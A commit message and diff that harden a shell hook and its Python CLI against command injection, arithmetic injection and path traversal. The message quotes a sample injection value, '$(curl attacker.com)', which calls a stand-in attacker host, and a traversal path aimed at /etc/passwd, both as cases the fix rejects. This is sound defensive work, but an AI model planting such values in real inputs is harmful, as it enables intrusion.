fix: harden hooks against shell injection, path traversal, and arithmetic injection

save_hook.sh:
- Coerce stop_hook_active to strict True/False before eval to prevent
  command injection via crafted JSON (e.g. "$(curl attacker.com)")
- Validate LAST_SAVE as plain integer with regex before bash arithmetic
  to prevent command substitution via poisoned state files

hooks_cli.py:
- Add _validate_transcript_path() that rejects paths with '..'
  components and non-.jsonl/.json extensions
- _count_human_messages() now uses the validator, returning 0 for
  invalid paths instead of opening arbitrary files

Tests:
- Path traversal rejection (../../etc/passwd)
- Wrong extension rejection (.txt, .py)
- Valid path acceptance (.jsonl, .json)
- Empty string handling
- Shell injection in stop_hook_active field

Refs: MemPalace/mempalace#809

hooks/mempal_save_hook.sh

@@ -65,15 +65,18 @@ MEMPAL_DIR=""
 INPUT=$(cat)
 
 # Parse all fields in a single Python call (3x faster than separate invocations)
+# SECURITY: All values are sanitized before being interpolated into shell assignments.
+# stop_hook_active is coerced to a strict True/False to prevent command injection via eval.
 eval $(echo "$INPUT" | python3 -c "
-import sys, json
+import sys, json, re
 data = json.load(sys.stdin)
 sid = data.get('session_id', 'unknown')
-sha = data.get('stop_hook_active', False)
+sha_raw = data.get('stop_hook_active', False)
 tp = data.get('transcript_path', '')
 # Shell-safe output — only allow alphanumeric, underscore, hyphen, slash, dot, tilde
-import re
 safe = lambda s: re.sub(r'[^a-zA-Z0-9_/.\-~]', '', str(s))
+# Coerce stop_hook_active to strict boolean string
+sha = 'True' if sha_raw is True or str(sha_raw).lower() in ('true', '1', 'yes') else 'False'
 print(f'SESSION_ID=\"{safe(sid)}\"')
 print(f'STOP_HOOK_ACTIVE=\"{sha}\"')
 print(f'TRANSCRIPT_PATH=\"{safe(tp)}\"')
@@ -118,7 +121,11 @@ fi
 LAST_SAVE_FILE="$STATE_DIR/${SESSION_ID}_last_save"
 LAST_SAVE=0
 if [ -f "$LAST_SAVE_FILE" ]; then
-    LAST_SAVE=$(cat "$LAST_SAVE_FILE")
+    LAST_SAVE_RAW=$(cat "$LAST_SAVE_FILE")
+    # SECURITY: Validate as plain integer before arithmetic to prevent command injection
+    if [[ "$LAST_SAVE_RAW" =~ ^[0-9]+$ ]]; then
+        LAST_SAVE="$LAST_SAVE_RAW"
+    fi
 fi
 
 SINCE_LAST=$((EXCHANGE_COUNT - LAST_SAVE))